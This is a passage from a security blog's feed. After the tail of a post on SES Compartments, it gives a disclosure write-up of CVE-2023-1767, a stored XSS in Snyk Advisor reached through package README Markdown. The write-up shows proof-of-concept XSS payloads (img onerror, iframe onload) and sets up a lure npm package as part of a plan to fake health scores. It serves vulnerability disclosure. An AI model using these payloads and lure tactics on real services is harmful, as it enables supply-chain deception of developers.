it is quite a complicated task, &lt;strong&gt;especially when you take JavaScript client side security as serious as we do.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Without making things too complicated, you should know we implement multiple security layers for both MetaMask and Snaps, and some of those layers overlap.
One important security layer both implement is the use of &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses#compartment&quot;&gt;SES Compartments&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A SES Compartment is a virtual realm that comes with the full set of JavaScript intrinsics, in which code can be evaluated and cannot escape it:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Compartment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>CVE-2023-1767 - Stored XSS on Snyk Advisor service can allow full fabrication of npm packages health score</title>
   <link href="https://weizman.github.io//2023/04/10/snyk-xss/"/>
   <updated>2023-04-10T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/04/10/snyk-xss</id>
   <content type="html">&lt;h4 id=&quot;tldr&quot;&gt;tl;dr&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;tl;dr - a &lt;strong&gt;stored XSS in Snyk Advisor (domain:&lt;code&gt;snyk.io&lt;/code&gt;)&lt;/strong&gt; allowed me to fabricate the health score granted for packages in my control, which I leveraged into making it seem as my “malicious” package is in fact healthy, popular and legitimate, which could have served an attacker to convince others to &lt;strong&gt;install an actual malicious npm package&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/weizman/CVE-2023-1767/blob/main/report&quot;&gt;Vulnerability Disclosure Report 📝&lt;/a&gt; , &lt;a href=&quot;https://github.com/weizman/CVE-2023-1767/blob/main/demo&quot;&gt;Exploit PoC 💻&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-motivated-me-to-write-this&quot;&gt;What motivated me to write this?&lt;/h2&gt;
&lt;p&gt;On March of 2023 &lt;strong&gt;I found a stored XSS vulnerability in Snyk Advisor under &lt;code&gt;snyk.io&lt;/code&gt; domain&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Because  Snyk is a security services vendor, I was wondering if there’s anything more interesting and creative to be done here than just compromise the application and/or its current logged in victim. So I dedicated some time into maximizing the impact that one can achieve with such a vulnerability, to help Snyk defend themselves against any further potential damage they might be exposed to.&lt;/p&gt;
&lt;p&gt;In this article I demonstrate how I can take such a vulnerability and turn it against the business itself, and the very main purpose of the &lt;a href=&quot;https://snyk.io/advisor/&quot;&gt;Snyk Advisor service&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;supply-chain-security---an-intro&quot;&gt;Supply chain security - an intro&lt;/h2&gt;
&lt;p&gt;Supply chain security is something we constantly hear of in the past years, and &lt;strong&gt;for a good reason&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We build our software on top of a long chain of dependencies that we don’t control and that change frequently,
so just trusting them to be legitimate and safe in the long run is not something we can count on.&lt;/p&gt;
&lt;p&gt;This situation naturally creates a &lt;strong&gt;clear motivation for attackers to infiltrate your supply chain&lt;/strong&gt; and we’ve seen plenty of such examples in the past year.&lt;/p&gt;
&lt;p&gt;That’s why in the past few years we have seen more and more attempts to create products that try to secure against supply chain attacks.&lt;/p&gt;
&lt;p&gt;I myself have dedicated years into improving the worlds’ chances against JavaScript supply chain attacks by being the creator of &lt;a href=&quot;https://perimeterx.com/&quot;&gt;PerimeterX&lt;/a&gt;’s &lt;a href=&quot;https://www.humansecurity.com/products/code-defender&quot;&gt;CodeDefender&lt;/a&gt;, the creator and maintainer of &lt;a href=&quot;https://github.com/lavamoat/snow/&quot;&gt;Snow ❄️ JS&lt;/a&gt; and the maintainer of the highly advanced supply chain security tool &lt;a href=&quot;https://github.com/lavamoat/lavamoat/&quot;&gt;LavaMoat 🌋&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are a number of ways attackers can leverage your need for building your software on top of third party dependencies, here are two main ones:&lt;/p&gt;
&lt;h3 id=&quot;compromising-an-already-used-legitimate-package&quot;&gt;1. Compromising an already-used legitimate package&lt;/h3&gt;
&lt;p&gt;One thing attackers try to do is to find a third party package that is being used by the maintainer of the application they wish to attack, and then &lt;strong&gt;take control over it&lt;/strong&gt;.
Taking control over a successful package is not always easy, but once control is gained, the attacker can push a new version for the package, introducing the exploit to all its downstream users.&lt;/p&gt;
&lt;p&gt;At this point, it’s likely that the maintainer will eventually update their dependencies to their newer versions, thus potentially &lt;strong&gt;pulling the compromised version&lt;/strong&gt; of the breached dependency &lt;strong&gt;without even being aware of that&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;luring-to-use-a-yet-to-be-used-malicious-package&quot;&gt;2. Luring to use a yet-to-be-used malicious package&lt;/h3&gt;
&lt;p&gt;Another thing attackers might do is to publish a new dependency they control and make it look like it does legitimate stuff, then try to lure developers into installing those in their projects. Once they do, the package which isn’t actually legitimate, can &lt;strong&gt;compromise the software&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;However, this requires some level of sophistication, because you must convince the developer, a human being, that your package is legitimate and trustworthy - and that is a hard task considering the level of awareness developers have for the potential damage that lies in using a new and unfamiliar package.&lt;/p&gt;
&lt;p&gt;Let’s elaborate on that.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h2 id=&quot;luring-developers-is-hard&quot;&gt;Luring developers is hard!&lt;/h2&gt;
&lt;p&gt;Because of the growing concern that evolves around supply chain attacks, developers are more aware of the problem and make sure to &lt;strong&gt;be able to tell the difference between a legitimate package and a suspicious one.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So what actions do developers take when considering installing a new package?&lt;/p&gt;
&lt;p&gt;Here’s a perfect answer to the question by the amazing &lt;strong&gt;ChatGPT&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/gpt.png&quot; alt=&quot;GPT describing how to vet a package, the full list of methods is below in the rest of the blog post&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;”(1) popularity and reputation”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’d say, &lt;strong&gt;this is where you start&lt;/strong&gt;. A good way to get a general sense of the legitimacy of a package is by understanding &lt;strong&gt;how popular and well known it is&lt;/strong&gt;. It’s usually &lt;strong&gt;never enough&lt;/strong&gt; to fully tell its legitimacy, but it does help knowing many people starred it, or even better, recently downloaded and used it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;”(2) dependencies, (3) source code and (4) maintainers”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These are even better ways for telling if a package is trustworthy. Popularity for itself isn’t enough, but if you can afford going through its &lt;strong&gt;dependencies and maintainers&lt;/strong&gt; and make sure they’re also &lt;strong&gt;popular and legit&lt;/strong&gt;, it would help a lot in making the decision. If you can even afford browsing through its &lt;strong&gt;source code&lt;/strong&gt; that’s amazing! But that’s unlikely to be something we’re going to do.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;”(5) license”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’m honestly not sure how’s this related, but I had to give ChatGPT the credit for trying 🤷.
Although next one is the killer section - the one I was hoping ChatGPT would bring up:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;”(6) Use a package verification tool … such as &lt;strong&gt;Snyk&lt;/strong&gt;”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the &lt;strong&gt;ultimate&lt;/strong&gt; section that is supposed to &lt;strong&gt;eliminate the need for all previous sections&lt;/strong&gt;.
As I previously wrote, due to the clear danger posed by third party packages, we now have third party services to help us verify the integrity of third party packages &lt;strong&gt;instead of having to do the dirty job ourselves&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;These products are your one-stop-shop!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;They examine all packages and take into consideration everything mentioned above - such as popularity, usage, number of recent downloads, integrity of contributors, level of community engagement  and even potentially source code static analysis - and they &lt;strong&gt;calculate it all into a score&lt;/strong&gt;, to give you a sense of how legitimate for use that package.&lt;/p&gt;
&lt;p&gt;In other words, &lt;strong&gt;they try to combine steps 1-4 into a single service, so you wouldn’t have to go through them yourself.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are more such services than just &lt;a href=&quot;https://snyk.io/advisor/&quot;&gt;Snyk&lt;/a&gt;, (e.g. &lt;a href=&quot;https://socket.dev/npm&quot;&gt;Socket Security&lt;/a&gt;),
but Snyk is probably the &lt;strong&gt;most popular service&lt;/strong&gt; in the industry.&lt;/p&gt;
&lt;h2 id=&quot;a-single-point-of-failure&quot;&gt;A single point of failure&lt;/h2&gt;
&lt;p&gt;When thinking about it, Snyk Advisor (or any other similar tool) being a &lt;strong&gt;one-stop-shop&lt;/strong&gt; can potentially  be an issue, because if it fails it could also be &lt;strong&gt;a single point of failure&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;In other words, Snyk providing all the information you need for deciding if to use a package or not means you can skip the due diligence you were planning to do yourself, and just &lt;strong&gt;trust their health score completely&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;And if the integrity of the service is broken, you wouldn’t count on a second service to help you discover that - because that’s the whole point of the advisory service!&lt;/p&gt;
&lt;p&gt;This of course counts on an ability to break the integrity of the service, which is &lt;strong&gt;not a trivial assumption&lt;/strong&gt; at all.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;While the risks here are likely minimal, it’s still always worth thinking about these hypothetical possibilities and maintaining healthy security hygiene - one way of doing this is to dedicate effort from time to time spot checking the underlying data on important projects to make sure everything makes sense.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;markdown-xss&quot;&gt;Markdown XSS&lt;/h2&gt;
&lt;p&gt;In this story, the vulnerability isn’t too interesting for itself to be honest.
It’s a simple &lt;strong&gt;XSS via Markdown&lt;/strong&gt; situation, which isn’t a new concept (lookup “Markdown XSS” on Google).&lt;/p&gt;
&lt;p&gt;But just to sum it up for you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Markdown specification explicitly supports &lt;a href=&quot;https://spec.commonmark.org/0.30/#raw-html&quot;&gt;Raw HTML&lt;/a&gt; almost to a full extent.&lt;/li&gt;
&lt;li&gt;This includes HTML attributes.&lt;/li&gt;
&lt;li&gt;That is a combination that allows the most classic XSS injections:
&lt;ul&gt;
&lt;li&gt;(hit ▶️ to execute on the official Markdown live interpreter)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spec.commonmark.org/dingus/?text=%3Ciframe%20onload%3D%22alert(1)%22%3E&quot;&gt;▶️&lt;/a&gt; &lt;code&gt;&amp;lt;iframe onload=&amp;quot;alert(1)&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spec.commonmark.org/dingus/?text=%3Cimg%20src%3D%221%22%20onerror%3D%22alert(1)%22%3E&quot;&gt;▶️&lt;/a&gt; &lt;code&gt;&amp;lt;img src=&amp;quot;1&amp;quot; onerror=&amp;quot;alert(1)&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Note that the interpreter executes those inside a sandboxed iframe, so instead of actually seeing an alert message, you’ll see a thrown CSP exception in the console, but the conclusion remains the same - &lt;strong&gt;Markdown supports HTML, even if it triggers JavaScript execution!&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Again, this &lt;strong&gt;isn’t anything new&lt;/strong&gt;. It just means that if a service wishes to parse and display Markdown content, they must &lt;strong&gt;perform proper sanitization to disallow XSS&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The sanitization/defense tactics differ among different services.&lt;/p&gt;
&lt;p&gt;Some perform a more &lt;strong&gt;strict&lt;/strong&gt; sanitization (such as &lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;/&lt;a href=&quot;https://npmjs.com/&quot;&gt;npm&lt;/a&gt;) where they drop anything that might load any arbitrary html/js.&lt;/p&gt;
&lt;p&gt;Some services perform a &lt;strong&gt;lax&lt;/strong&gt; sanitization (such as &lt;a href=&quot;https://www.discourse.org/&quot;&gt;discourse&lt;/a&gt;) where they still drop anything that might be dangerous, but nothing more. For example, on discourse &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; will translate into an actual iframe whereas on GitHub the iframe is dropped (even though turning the iframe into arbitrary code execution is impossible in both).&lt;/p&gt;
&lt;p&gt;But most importantly, regardless of how lax or strict your sanitization is, you’d want to add &lt;strong&gt;a second layer of defense by using some CSP rules to ensure any Markdown XSS that infiltrated your app will be blocked right away&lt;/strong&gt; (can be seen in &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;VSCode&lt;/a&gt; editor for example).&lt;/p&gt;
&lt;p&gt;Not surprisingly, some services perform &lt;strong&gt;little to no sanitization at all&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For some of them it makes sense (kinda?) - If you go on &lt;a href=&quot;https://stackedit.io/app#&quot;&gt;StackEdit&lt;/a&gt; for example and paste &lt;code&gt;&amp;lt;iframe src=&amp;quot;https://weizman.github.io?msg=code_execution_!&amp;quot;&amp;gt;&lt;/code&gt; you’ll see an alert message that proves the app parsed this as Markdown and lacked CSP for blocking the load of a remote page into an iframe (Perhaps because this is a local text editor for you to come up with your own content).&lt;/p&gt;
&lt;p&gt;But some services have more to lose than the StackEdit example above, and therefore they usually make sure to perform some level of sanitization.&lt;/p&gt;
&lt;p&gt;And if they don’t, well, &lt;strong&gt;that could be a problem&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h2 id=&quot;markdown-to-stored-xss-on-snyk-advisor-codesnykiocode-domain&quot;&gt;Markdown to (stored) XSS on Snyk Advisor (&lt;code&gt;snyk.io&lt;/code&gt; domain)&lt;/h2&gt;
&lt;p&gt;To my surprise, the lack of sanitization was &lt;strong&gt;exactly the case with Snyk.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Snyk’s &lt;a href=&quot;https://snyk.io/advisor/&quot;&gt;advisor app&lt;/a&gt; as mentioned above gives you the information you’re looking for when considering to use a new package, and to be as informative as possible, they also &lt;strong&gt;display the README file of the package&lt;/strong&gt; you’re looking at.&lt;/p&gt;
&lt;p&gt;Which means, they are &lt;strong&gt;turning Markdown into HTML&lt;/strong&gt; to display the content.&lt;/p&gt;
&lt;p&gt;By running &lt;strong&gt;no sanitization and implementing no CSP&lt;/strong&gt; in the app, a README file containing an XSS will &lt;strong&gt;successfully execute in the app!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before disclosing this, you could have seen the exploit running live on the package I was experimenting with at &lt;a href=&quot;https://snyk.io/advisor/npm-package/png2jpg&quot;&gt;https://snyk.io/advisor/npm-package/png2jpg&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Since it’s already fixed by now, you can see it before it was fixed by visiting the official &lt;a href=&quot;https://github.com/weizman/CVE-2023-1767/blob/main/report&quot;&gt;Vulnerability report as sent to Snyk&lt;/a&gt; I handed Snyk.&lt;/p&gt;
&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;
&lt;p&gt;So why is this worrying? In the context of what we discussed earlier, harming the integrity of the advisor can turn a package &lt;strong&gt;from malicious to fully trustworthy in the eyes of the victim!&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;exploiting-the-vulnerability&quot;&gt;Exploiting the vulnerability!&lt;/h2&gt;
&lt;p&gt;Let’s exploit this vulnerability as an &lt;strong&gt;attacker&lt;/strong&gt; to understand what I mean.&lt;/p&gt;
&lt;h3 id=&quot;find-a-need&quot;&gt;Find a need&lt;/h3&gt;
&lt;p&gt;First, I looked for stuff people might need a solution for.&lt;/p&gt;
&lt;p&gt;From a quick search online I learned that people have tried previously to convert &lt;code&gt;png&lt;/code&gt;s to &lt;code&gt;jpg&lt;/code&gt;s using JavaScript.
Here’s a &lt;a href=&quot;https://stackoverflow.com/questions/20744628/how-to-convert-a-image-from-png-to-jpeg-using-javascript&quot;&gt;stackoverflow&lt;/a&gt; example.&lt;/p&gt;
&lt;h3 id=&quot;register-a-package&quot;&gt;Register a package&lt;/h3&gt;
&lt;p&gt;I need a good name for a package that looks legitimate and inviting and that is available on &lt;code&gt;npm&lt;/code&gt;.
After a while I found &lt;code&gt;png2jpg&lt;/code&gt; to not be taken - &lt;strong&gt;I’ll take it!&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;png2jpg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;convert png to jpg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;index.js&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;repository&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;git&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;git+https://github.com/weizman/png2jpg.git&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;keywords&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;author&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;license&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;MIT&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;bugs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://github.com/weizman/png2jpg/issues&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;homepage&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://weizman/png2jpg/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(&lt;a href=&quot;https://github.com/weizman/CVE-2023-1767/blob/main/demo/png2jpg/package.json&quot;&gt;package.json&lt;/a&gt;)&lt;/p&gt;
&lt;h3 id=&quot;cause-fake-damage&quot;&gt;Cause “fake” damage&lt;/h3&gt;
&lt;p&gt;This is a malicious package after all, so let’s implement a malicious payload such as:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// index.js&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;PAYLOAD EXECUTED!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(&lt;a href=&quot;https://github.com/weizman/CVE-2023-1767/blob/main/demo/png2jpg/index.js&quot;&gt;index.js&lt;/a&gt;)&lt;/p&gt;
&lt;h3 id=&quot;create-a-deceitful-readme-file&quot;&gt;Create a deceitful README file&lt;/h3&gt;
&lt;p&gt;This is an important part - we want the package to look legit and inviting, so we want its official README file to reflect that:&lt;/p&gt;
&lt;div class=&quot;language-markdown highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gu&quot;&gt;## png2jpg - A NodeJS tool for converting pngs to jpgs&lt;/span&gt;

&lt;span class=&quot;gu&quot;&gt;### Install&lt;/span&gt;

yarn add png2jpg / npm install png2jpg

&lt;span class=&quot;gu&quot;&gt;### Usage&lt;/span&gt;

const png2jpg = require(&apos;png2jpg&apos;);
const jpg = await png2jpg(png);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(&lt;a href=&quot;https://github.com/weizman/CVE-2023-1767/blob/main/demo/png2jpg/README.md&quot;&gt;README.md&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Real attackers will also add badges, images and maybe gifs to do a better job “selling it” - we’re not gonna focus on that.&lt;/p&gt;
&lt;h3 id=&quot;poc---exploit-snyk-advisors-vulnerability&quot;&gt;PoC - Exploit Snyk Advisor’s vulnerability&lt;/h3&gt;
&lt;p&gt;Our package is live and accessible on &lt;code&gt;npm&lt;/code&gt;! But Snyk Advisor ranks its health score low, being the unpopular package that it is:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/snyk1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;making it &lt;strong&gt;completely not trustworthy.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;However, since we have &lt;strong&gt;code execution privileges&lt;/strong&gt;, we can use it to &lt;strong&gt;change the layout!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When we update the README file to this (observe the bottom line):&lt;/p&gt;
&lt;div class=&quot;language-markdown highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gu&quot;&gt;## png2jpg - A NodeJS tool for converting pngs to jpgs&lt;/span&gt;

&lt;span class=&quot;gu&quot;&gt;### Install&lt;/span&gt;

yarn add png2jpg / npm install png2jpg

&lt;span class=&quot;gu&quot;&gt;### Usage&lt;/span&gt;

const png2jpg = require(&apos;png2jpg&apos;);
const jpg = await png2jpg(png);

&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;//no-such-domain-2390dkj.com/&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onerror=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;alert(location.href)&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;and publish the package, after Snyk Advisor scans it, when visiting &lt;a href=&quot;https://snyk.io/advisor/npm-package/png2jpg&quot;&gt;https://snyk.io/advisor/npm-package/png2jpg&lt;/a&gt; the alert pops:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/snyk2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;leverage-exploit-to-fabricate-advisor-results&quot;&gt;Leverage exploit to fabricate Advisor results&lt;/h3&gt;
